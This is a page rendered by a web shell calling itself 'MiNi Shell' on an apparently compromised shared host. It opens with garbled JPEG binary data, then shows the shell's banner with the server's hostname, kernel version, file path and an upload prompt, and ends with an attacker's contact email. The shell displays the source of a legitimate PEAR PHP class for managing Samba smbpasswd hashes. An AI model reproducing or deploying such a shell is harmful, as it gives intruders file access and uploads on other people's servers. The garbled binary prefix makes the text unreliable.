JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/File/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.13/lib/php/File/SMBPasswd.php

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/*
Copyright (c) 2003, Michael Bretterklieber <michael@bretterklieber.com>
All rights reserved.

Redistribution and use in source and binary forms, with or without 
modification, are permitted provided that the following conditions 
are met:

1. Redistributions of source code must retain the above copyright 
   notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright 
   notice, this list of conditions and the following disclaimer in the 
   documentation and/or other materials provided with the distribution.
3. The names of the authors may not be used to endorse or promote products 
   derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, 
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY 
OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

This code cannot simply be copied and put under the GNU Public License or 
any other GPL-like (LGPL, GPL2) License.

    $Id: SMBPasswd.php,v 1.4 2005/05/08 09:10:32 mbretter Exp $
*/

require_once 'PEAR.php';
require_once 'Crypt/CHAP.php';

/**
 * Class to manage SAMBA smbpasswd-style files
 *
 * Example 1 (modifying existing file):
 *
 * $f = new File_SMBPasswd('./smbpasswd');
 * $f->load();
 * $f->addAccount('sepp3', 12, 'MyPw');
 * $f->modAccount('sepp', '', 'MyPw');
 * $f->delAccount('karli');
 * $f->printAccounts();
 * $f->save();
 * 
 * Example 2 (creating a new file):
 *
 * $f = new File_SMBPasswd('./smbpasswdnew');
 * $f->addAccount('sepp1', 12, 'MyPw');
 * $f->addAccount('sepp3', 1000, 'MyPw');
 * $f->save();
 *
 * Example 3 (authentication):
 *
 * $f = new File_SMBPasswd('./smbpasswdnew');
 * $f->load();
 * if ($f->verifyAccount('sepp', 'MyPw')) {
 *     echo "Account valid";
 * } else {
 *     echo "Account invalid or disabled";
 * }
 *
 * @author Michael Bretterklieber <mbretter@jawa.at>
 * @access  public
 * @version 0.9.0
 * @package File_SMBPasswd
 * @category File
 */
class File_SMBPasswd extends PEAR {
    
    /**
     * Multidimensional array of accounts
     * @var array
     */
    var $accounts = array();    

    /**
     * Path to the smbpasswd file
     * @var string
     */
    var $file;

    /**
     * Class who generates the NT-Hash and LAN-Manager-Hash
     * @var object
     */
    var $cryptEngine;

    /**
     * Filehandle, of locked File
     * @var resource
     */
    var $fplock;
    
    /**
     * Constructor
     *
     * @access public
     * @param  string $file
     * @return object File_SMBPasswd
     */
    function File_SMBPasswd($file = 'smbpasswd') 
    {
        $this->file = $file;
        $this->cryptEngine = new Crypt_CHAP_MSv1;
    }     

    /**
     * Load the given smbpasswd file
     *
     * @access public
     * @return mixed   true on success, PEAR_Error on failure
     */    
    function load()
    {
        $fd = fopen($this->getFile(), 'r') ;
        if (!$fd) {
            return $this->raiseError('Could not open ' . $this->getFile() . 
                                    ' for reading.');
        }
        
        while (!feof($fd)) {
            $line = fgets($fd, 4096);
            if (preg_match('/^#|^$/', trim($line))) {
                continue;
            }
            @list($user, $userid, $lmhash, $nthash, $flags, $lct, $comment) = explode(':', $line);
            if (strlen($user)) {
                $this->accounts[$user] = array(
                    'userid'    => trim($userid),
                    'lmhash'    => trim($lmhash),
                    'nthash'    => trim($nthash),
                    'flags'     => trim($flags),
                    'lct'       => trim($lct),
                    'comment'   => trim($comment)
                    );
            }
        }
        
        fclose($fd);   
        return true; 
    }
    
    /**
     * Get the value of file property
     *
     * @access public
     * @return string  
     */
    function getFile() {
        return $this->file;
    }

    /**
     * Get the value of accounts property
     *
     * @access public
     * @return array  
     */
    function &getAccounts() {
        return $this->accounts;
    } 
    
    /**
     * Adds an account, with pre-encrypted passwords
     *
     * @param $user new username
     * @param $userid new userid
     * @param $lmhash LAN-Manager-Hash
     * @param $nthash NT-Hash 
     * @param $comment Comment
     * @param $flags Account-flags (see man 5 smbpasswd)
     *
     * @return mixed returns PEAR_Error, if the user already exists
     * @access public
     */
    function addAccountEncrypted($user, $userid, $lmhash = '', $nthash = '', $comment = '', $flags = '[U          ]') 
    {
        if (empty($lmhash)) $lmhash = str_repeat('X', 32);
        if (empty($nthash)) $nthash = str_repeat('X', 32);
                
        if (!isset($this->accounts[$user])) {
            $this->accounts[$user] = array(
                'userid'    => trim($userid),
                'lmhash'    => trim($lmhash),
                'nthash'    => trim($nthash),
                'flags'     => trim($flags),
                'lct'       => sprintf('LCT-%08s', strtoupper(dechex(time()))),
                'comment'   => trim($comment)
                );
            
            return true;
        } else {
            return $this->raiseError( "Couldn't add user '$user', because the user already exists!");
        }
    }

    /**
     * Adds an account
     *
     * @param $user new username
     * @param $userid new userid
     * @param $pass Plaintext password
     * @param $comment Comment
     * @param $flags Account-flags (see man 5 smbpasswd)
     *
     * @return mixed returns PEAR_Error, if the user already exists
     * @access public
     */
    function addAccount($user, $userid, $pass, $comment = '', $flags = '[U          ]') 
    {
        if (empty($pass)) {
            return $this->addAccountEncrypted($user, $userid, '', '', $comment, $flags) ;
        } else {
            return $this->addAccountEncrypted(
                        $user, 
                        $userid, 
                        strtoupper(bin2hex($this->cryptEngine->lmPasswordHash($pass))),
                        strtoupper(bin2hex($this->cryptEngine->ntPasswordHash($pass))), 
                        $comment,
                        $flags);
        }
                        
    }

    /**
     * Adds a user-account
     *
     * @param $user new username
     * @param $userid new userid
     * @param $pass Plaintext password
     * @param $comment Comment
     *
     * @return mixed returns PEAR_Error, if the user already exists
     * @access public
     */
    function addUser($user, $userid, $pass, $comment = '')
    {
        return $this->addAccount($user, $userid, $pass, $comment, '[U          ]');
    }

    /**
     * Adds a machine-account
     *
     * @param $machine new username
     * @param $userid new userid
     * @param $comment Comment
     *
     * @return mixed returns PEAR_Error, if the user already exists
     * @access public
     */
    function addMachine($machine, $userid, $comment = '')
    {
        return $this->addAccount($machine . '$', $userid, $machine, $comment, '[W          ]');
    }
    
    /**
     * Modifies an account with the pre-encrypted Hashes
     *
     * @param $user new username
     * @param $userid new userid
     * @param $lmhash LAN-Manager-Hash
     * @param $nthash NT-Hash 
     * @param $comment Comment
     * @param $flags Account-flags (see man 5 smbpasswd)
     *
     * @return mixed returns PEAR_Error, if the user doesen't exists
     * @access public
     */
    function modAccountEncrypted($user, $userid = '', $lmhash = '', $nthash = '', $comment = '', $flags = '') 
    {
        $account = $this->accounts[$user];
        if (is_array($account)) {
            if ($userid === '') $userid   = $account['userid'];
            if (empty($lmhash)) $lmhash   = $account['lmhash'];
            if (empty($nthash)) $nthash   = $account['nthash'];
            if (empty($flags))  $flags    = $account['flags'];
            if (empty($comment)) $comment = $account['comment'];

            $this->accounts[$user] = array(
                'userid'    => trim($userid),
                'lmhash'    => trim($lmhash),
                'nthash'    => trim($nthash),
                'flags'     => trim($flags),
                'lct'       => sprintf('LCT-%08s', strtoupper(dechex(time()))),
                'comment'   => trim($comment)
                );
            
            return true;
        } else {
            return $this->raiseError( "Couldn't modify user '$user', because the user doesn't exists!") ;
        }
    }
    
    /**
     * Modifies an account with given plaintext password
     *
     * @param $user new username
     * @param $userid new userid
     * @param $pass Plaintext password
     * @param $comment Comment
     * @param $flags Account-flags (see man 5 smbpasswd)
     *
     * @return mixed returns PEAR_Error, if the user doesen't exists
     * @access public
     */
    function modAccount($user, $userid = '', $pass = '', $comment = '', $flags = '') 
    {
        if (empty($pass)) {
            return $this->modAccountEncrypted($user, $userid, '', '', $comment, $flags) ;
        } else {
            return $this->modAccountEncrypted(
                        $user, 
                        $userid, 
                        strtoupper(bin2hex($this->cryptEngine->lmPasswordHash($pass))),
                        strtoupper(bin2hex($this->cryptEngine->ntPasswordHash($pass))), 
                        $comment, 
                        $flags);
        }
    }

    /**
     * This is an alias for modAccount
     *
     * @see File_SMBPasswd::modAccount
     */
    function modUser($user, $userid = '', $pass = '', $comment = '', $flags = '') 
    {
       return $this->modAccount($user, $userid, $pass, $comment, $flags);
    }

    /**
     * Deletes an account
     *
     * @param $user username
     *
     * @return mixed returns PEAR_Error, if the user doesn't exists
     * @access public	
     */
    function delAccount($name) 
    {
        if (isset($this->accounts[$name])) {
            unset($this->accounts[$name]);
            return true;
        } else {
            return $this->raiseError( "Couldn't delete account '$name', because the account doesn't exists!") ; 
        }
    }   

    /**
     * This is an alias for delAccount
     *
     * @see File_SMBPasswd::delAccount
     */
    function delUser($user) 
    {
       return $this->delAccount($user);
    }

    
    /**
     * Verifies a user's password
     * Prefer NT-Hash instead of weak LAN-Manager-Hash
     *
     * @param $user username
     * @param $nthash NT-Hash in hex
     * @param $lmhash LAN-Manager-Hash in hex
     *
     * @return boolean true if password is ok
     * @access public		
     */
    function verifyAccountEncrypted($user, $nthash, $lmhash = '') 
    {
        $account = $this->accounts[$user];
        if (is_array($account)) {
            
            // checking wether account is disabled
            if (preg_match('/D/', $account['flags'])) {
                return false;
            }
            if (!empty($lmhash)) {
                return $account['lmhash'] == strtoupper($lmhash);
            } else {
                return $account['nthash'] == strtoupper($nthash);
            }
        }
        return false;
    }

    /**
     * Verifies an account with the given plaintext password
     *
     * @param $user username
     * @param $pass The plaintext password
     *
     * @return boolean true if password is ok
     * @access public		
     */
    function verifyAccount($user, $pass) 
    {
        return $this->verifyAccountEncrypted(
                        $user, 
                        strtoupper(bin2hex($this->cryptEngine->ntPasswordHash($pass))), 
                        strtoupper(bin2hex($this->cryptEngine->lmPasswordHash($pass))));
    }

    /**
     * Locks the given file
     *
     * @return mixed PEAR_Error, true on succes
     * @access public
     */
    function lock() 
    {
        if (!is_resource($this->fplock)) {
            $this->fplock = @fopen($this->getFile(), 'w');
        }

        if (!is_resource($this->fplock)) {
            return $this->raiseError('Could not open ' . $this->getFile() . 
                                    ' for writing.');
        }

        if (!flock($this->fplock, LOCK_EX)) {
            return $this->raiseError('Could not open lock file ' . $this->getFile());
        }

        return true;
    }

    /**
     * Unlocks the given file
     *
     * @return mixed PEAR_Error, true on succes
     * @access public
     */
    function unlock() 
    {
        if (is_resource($this->fplock)) {
            if (!flock($this->fplock, LOCK_UN)) {
                return $this->raiseError('Could not open unlock file ' . $this->getFile());
            }
        }

        return true;
    }

    /**
     * Writes changes to smbpasswd file and locks, unlocks and closes it
     *
     * @param $file Filename
     *
     * @return mixed returns PEAR_Error, if the file is not writeable
     * @access public
     */
    function save($file = '') 
    {
        if (!empty($file)) {
            $this->file = $file;
        }

        $ret = $this->lock();
        if ($ret !== true) {
            return $ret;
        }
        
        foreach ($this->accounts as $user => $userdata) {
            fputs($this->fplock, sprintf("%s:%s:%s:%s:%s:%s:%s\n", 
                    $user, 
                    $userdata['userid'], 
                    $userdata['lmhash'], 
                    $userdata['nthash'], 
                    $userdata['flags'],
                    $userdata['lct'],
                    $userdata['comment']));
        }

        $this->unlock();
        fclose($this->fplock);
        return true;
    }    
    
    /**
     * Print all accounts from smbpasswd file
     *
     * @access public
     * @return void
     */
    function printAccounts() {
        foreach ($this->accounts as $user => $userdata) {
            printf("%s:%s:%s:%s:%s:%s:%s\n", 
                $user, 
                $userdata['userid'], 
                $userdata['lmhash'], 
                $userdata['nthash'], 
                $userdata['flags'],
                $userdata['lct'],
                $userdata['comment']);
        }
    }

}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com